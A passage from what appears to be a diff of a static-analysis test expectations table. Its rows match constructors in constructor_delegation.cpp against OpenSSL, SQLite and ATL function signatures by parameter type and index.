OPENSSL_uni2utf8 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int *,int) | | X509_PURPOSE_set | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int *,int) | | X509_TRUST_set | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | BN_security_bits | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | BN_security_bits | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | EVP_MD_meth_new | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | EVP_MD_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | EVP_PKEY_meth_new | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | EVP_PKEY_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | acttab_alloc | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | acttab_alloc | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (rule *,int) | | Configlist_add | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (rule *,int) | | Configlist_addbasis | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (uint16_t,int) | | tls1_group_id2nid | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (unsigned char *,int) | | RAND_bytes | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (void *,int) | | DSO_dsobyaddr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (void *,int) | | sqlite3_realloc | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (wchar_t,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | BN_clear_bit | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | BN_mask_bits | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | BN_set_bit | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | BN_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | bn_expand2 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | bn_wexpand | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_find_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_set_init | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_set_retry_reason | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_set_shutdown | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | TXT_DB_read | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DH *,int) | | DH_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DH *,int) | | DH_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DSA *,int) | | DSA_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DSA *,int) | | DSA_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA *,int) | | RSA_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA *,int) | | RSA_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_key_update | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_read_ahead | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_security_level | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_shutdown | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_verify_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | ssl_md | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509 *,int) | | X509_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509 *,int) | | X509_self_signed | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (acttab *,int) | | acttab_insert | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (char *,int) | | PEM_proc_type | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (char,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| constructor_delegation.cpp:19:2:19:15 | 